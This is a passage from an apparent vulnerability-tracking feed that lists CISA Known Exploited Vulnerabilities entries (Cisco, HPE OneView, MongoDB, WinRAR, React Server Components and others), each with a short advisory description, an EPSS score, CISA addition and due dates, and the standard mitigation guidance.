BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 22, 2026; federal due date Feb 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Unified Communications Products Code Injection Vulnerability https://kevwire.com/record/CVE-2026-20045 Cisco Unified Communications Products Code Injection Vulnerability (Jan 21, 2026). Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance contain a code injection vulnerability that could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root. EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20045&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20045: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20045&date=2026-10-25 CISA added this entry on 2026-01-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 21, 2026; federal due date Feb 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Information Disclosure Vulnerability https://kevwire.com/record/CVE-2026-20805 Microsoft Windows Information Disclosure Vulnerability (Jan 13, 2026). Microsoft Windows Desktop Windows Manager contains an information disclosure vulnerability that allows an authorized attacker to disclose information locally. EPSS 7.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20805&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20805: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20805&date=2026-10-25 CISA added this entry on 2026-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 13, 2026; federal due date Feb 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Gogs Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-8110 Gogs Path Traversal Vulnerability (Jan 12, 2026). Gogs contains a path traversal vulnerability affecting improper Symbolic link handling in the PutContents API that could allow for code execution. EPSS 85.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8110&date=2026-10-25). Sources: CISA KEV entry CVE-2025-8110: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8110&date=2026-10-25 CISA added this entry on 2026-01-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 12, 2026; federal due date Feb 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office PowerPoint Code Injection Vulnerability https://kevwire.com/record/CVE-2009-0556 Microsoft Office PowerPoint Code Injection Vulnerability (Jan 7, 2026). Microsoft Office PowerPoint contains a code injection vulnerability that allows remote attackers to execute arbitrary code via a PowerPoint file with an OutlineTextRefAtom containing an invalid index value that triggers memory corruption. EPSS 67.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0556&date=2026-10-25). Sources: CISA KEV entry CVE-2009-0556: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0556&date=2026-10-25 CISA added this entry on 2026-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 7, 2026; federal due date Jan 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability https://kevwire.com/record/CVE-2025-37164 Hewlett Packard Enterprise (HPE) OneView Code Injection Vulnerability (Jan 7, 2026). Hewlett Packard Enterprise (HPE) OneView contains a code injection vulnerability that allows a remote unauthenticated user to perform remote code execution. EPSS 90.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-37164&date=2026-10-25). Sources: CISA KEV entry CVE-2025-37164: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-37164&date=2026-10-25 CISA added this entry on 2026-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 7, 2026; federal due date Jan 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MongoDB and MongoDB Server Improper Handling of Length Parameter Inconsistency Vulnerability https://kevwire.com/record/CVE-2025-14847 MongoDB and MongoDB Server Improper Handling of Length Parameter Inconsistency Vulnerability (Dec 29, 2025). MongoDB Server contains an improper handling of length parameter inconsistency vulnerability in Zlib compressed protocol headers. This vulnerability may allow a read of uninitialized heap memory by an unauthenticated client. EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14847&date=2026-10-25). Sources: CISA KEV entry CVE-2025-14847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14847&date=2026-10-25 CISA added this entry on 2025-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 29, 2025; federal due date Jan 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Digiever DS-2105 Pro Missing Authorization Vulnerability https://kevwire.com/record/CVE-2023-52163 Digiever DS-2105 Pro Missing Authorization Vulnerability (Dec 22, 2025). Digiever DS-2105 Pro contains a missing authorization vulnerability which could allow for command injection via time_tzsetup.cgi. EPSS 96.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-52163&date=2026-10-25). Sources: CISA KEV entry CVE-2023-52163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-52163&date=2026-10-25 CISA added this entry on 2025-12-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 22, 2025; federal due date Jan 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WatchGuard Firebox Out of Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-14733 WatchGuard Firebox Out of Bounds Write Vulnerability (Dec 19, 2025). WatchGuard Fireware OS iked process contains an out of bounds write vulnerability in the OS iked process. This vulnerability may allow a remote unauthenticated attacker to execute arbitrary code and affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer. EPSS 29.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14733&date=2026-10-25). Sources: CISA KEV entry CVE-2025-14733: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14733&date=2026-10-25 CISA added this entry on 2025-12-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 19, 2025; federal due date Dec 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ASUS Live Update Embedded Malicious Code Vulnerability https://kevwire.com/record/CVE-2025-59374 ASUS Live Update Embedded Malicious Code Vulnerability (Dec 17, 2025). ASUS Live Update contains an embedded malicious code vulnerability client were distributed with unauthorized modifications introduced through a supply chain compromise. The modified builds could cause devices meeting specific targeting conditions to perform unintended actions. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59374&date=2026-10-25). Sources: CISA KEV entry CVE-2025-59374: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59374&date=2026-10-25 CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 17, 2025; federal due date Jan 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA1000 Missing Authorization Vulnerability https://kevwire.com/record/CVE-2025-40602 SonicWall SMA1000 Missing Authorization Vulnerability (Dec 17, 2025). SonicWall SMA1000 contains a missing authorization vulnerability that could allow for privilege escalation appliance management console (AMC) of affected devices. EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-40602&date=2026-10-25). Sources: CISA KEV entry CVE-2025-40602: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-40602&date=2026-10-25 CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 17, 2025; federal due date Dec 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Multiple Products Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2025-20393 Cisco Multiple Products Improper Input Validation Vulnerability (Dec 17, 2025). Cisco Secure Email Gateway, Secure Email, AsyncOS Software, and Web Manager appliances contains an improper input validation vulnerability that allows threat actors to execute arbitrary commands with root privileges on the underlying operating system of an affected appliance. EPSS 32.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20393&date=2026-10-25). Sources: CISA KEV entry CVE-2025-20393: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20393&date=2026-10-25 CISA added this entry on 2025-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 17, 2025; federal due date Dec 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability https://kevwire.com/record/CVE-2025-59718 Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability (Dec 16, 2025). Fortinet FortiOS, FortiSwitchMaster, FortiProxy, and FortiWeb contain an improper verification of cryptographic signature vulnerability that may allow an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML message. Please be aware that CVE-2025-59719 pertains to the same problem and is mentioned in the same vendor advisory. Ensure to apply all patches mentioned in the advisory. EPSS 68.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59718&date=2026-10-25). Sources: CISA KEV entry CVE-2025-59718: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59718&date=2026-10-25 CISA added this entry on 2025-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 16, 2025; federal due date Dec 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Gladinet CentreStack and Triofox Hard Coded Cryptographic Vulnerability https://kevwire.com/record/CVE-2025-14611 Gladinet CentreStack and Triofox Hard Coded Cryptographic Vulnerability (Dec 15, 2025). Gladinet CentreStack and TrioFox contain a hardcoded cryptographic keys vulnerability for their implementation of the AES cryptoscheme. This vulnerability degrades security for public exposed endpoints that may make use of it and may offer arbitrary local file inclusion when provided a specially crafted request without authentication. EPSS 53.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14611&date=2026-10-25). Sources: CISA KEV entry CVE-2025-14611: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14611&date=2026-10-25 CISA added this entry on 2025-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 15, 2025; federal due date Jan 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Use-After-Free WebKit Vulnerability https://kevwire.com/record/CVE-2025-43529 Apple Multiple Products Use-After-Free WebKit Vulnerability (Dec 15, 2025). Apple iOS, iPadOS, macOS, and other Apple products contain a use-after-free vulnerability in WebKit. Processing maliciously crafted web content may lead to memory corruption. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 25.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43529&date=2026-10-25). Sources: CISA KEV entry CVE-2025-43529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43529&date=2026-10-25 CISA added this entry on 2025-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 15, 2025; federal due date Jan 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sierra Wireless AirLink ALEOS Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2018-4063 Sierra Wireless AirLink ALEOS Unrestricted Upload of File with Dangerous Type Vulnerability (Dec 12, 2025). Sierra Wireless AirLink ALEOS contains an unrestricted upload of file with dangerous type vulnerability. A specially crafted HTTP request can upload a file, resulting in executable code being uploaded, and routable, to the webserver. An attacker can make an authenticated HTTP request to trigger this vulnerability. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 27.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-4063&date=2026-10-25). Sources: CISA KEV entry CVE-2018-4063: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-4063&date=2026-10-25 CISA added this entry on 2025-12-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 12, 2025; federal due date Jan 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Out of Bounds Memory Access Vulnerability https://kevwire.com/record/CVE-2025-14174 Google Chromium Out of Bounds Memory Access Vulnerability (Dec 12, 2025). Google Chromium contains an out of bounds memory access vulnerability in ANGLE that could allow a remote attacker to perform out of bounds memory access via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 55.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-14174&date=2026-10-25). Sources: CISA KEV entry CVE-2025-14174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-14174&date=2026-10-25 CISA added this entry on 2025-12-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 12, 2025; federal due date Jan 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OSGeo GeoServer Improper Restriction of XML External Entity Reference Vulnerability https://kevwire.com/record/CVE-2025-58360 OSGeo GeoServer Improper Restriction of XML External Entity Reference Vulnerability (Dec 11, 2025). OSGeo GeoServer contains an improper restriction of XML external entity reference vulnerability that occurs when the application accepts XML input through a specific endpoint /geoserver/wms operation GetMap and could allow an attacker to define external entities within the XML request. EPSS 60.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58360&date=2026-10-25). Sources: CISA KEV entry CVE-2025-58360: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58360&date=2026-10-25 CISA added this entry on 2025-12-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 11, 2025; federal due date Jan 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RARLAB WinRAR Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-6218 RARLAB WinRAR Path Traversal Vulnerability (Dec 9, 2025). RARLAB WinRAR contains a path traversal vulnerability allowing an attacker to execute code in the context of the current user. EPSS 90.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6218&date=2026-10-25). Sources: CISA KEV entry CVE-2025-6218: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6218&date=2026-10-25 CISA added this entry on 2025-12-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 9, 2025; federal due date Dec 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Use After Free Vulnerability https://kevwire.com/record/CVE-2025-62221 Microsoft Windows Use After Free Vulnerability (Dec 9, 2025). Microsoft Windows Cloud Files Mini Filter Driver contains a use after free vulnerability that can allow an authorized attacker to elevate privileges locally. EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-62221&date=2026-10-25). Sources: CISA KEV entry CVE-2025-62221: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-62221&date=2026-10-25 CISA added this entry on 2025-12-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 9, 2025; federal due date Dec 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link Routers Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-37055 D-Link Routers Buffer Overflow Vulnerability (Dec 8, 2025). D-Link Routers contains a buffer overflow vulnerability that has a high impact on confidentiality, integrity, and availability. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 55.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-37055&date=2026-10-25). Sources: CISA KEV entry CVE-2022-37055: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-37055&date=2026-10-25 CISA added this entry on 2025-12-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 8, 2025; federal due date Dec 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Array Networks ArrayOS AG OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-66644 Array Networks ArrayOS AG OS Command Injection Vulnerability (Dec 8, 2025). Array Networks ArrayOS AG contains an OS command injection vulnerability that could allow an attacker to execute arbitrary commands. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66644&date=2026-10-25). Sources: CISA KEV entry CVE-2025-66644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66644&date=2026-10-25 CISA added this entry on 2025-12-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 8, 2025; federal due date Dec 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Meta React Server Components Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2025-55182 Meta React Server Components Remote Code Execution Vulnerability (Dec 5, 2025). Meta React Server Components contains a remote code execution vulnerability that could allow unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints. Please note CVE-2025-66478 has been rejected, but it is associated with CVE-2025- 55182. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-55182&date=2026-10-25). Sources: CISA KEV entry CVE-2025-55182: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-55182&date=2026-10-25 CISA added this entry on 2025-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 5, 2025; federal due date Dec 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OpenPLC ScadaBR Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2021-26828 OpenPLC ScadaBR Unrestricted Upload of File with Dangerous Type Vulnerability (Dec 3, 2025). OpenPLC ScadaBR contains an unrestricted upload of file with dangerous type vulnerability that allows remote authenticated users to upload and execute arbitrary JSP files via view_edit.shtm. EPSS 39.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26828&date=2026-10-25). Sources: CISA KEV entry CVE-2021-26828: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26828&date=2026-10-25 CISA added this entry on 2025-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 3, 2025; federal due date Dec 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Framework Information Disclosure Vulnerability https://kevwire.com/record/CVE-2025-48633 Android Framework Information Disclosure Vulnerability (Dec 2, 2025). Android Framework contains an unspecified vulnerability that allows for information disclosure. EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48633&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48633: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48633&date=2026-10-25 CISA added this entry on 2025-12-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable 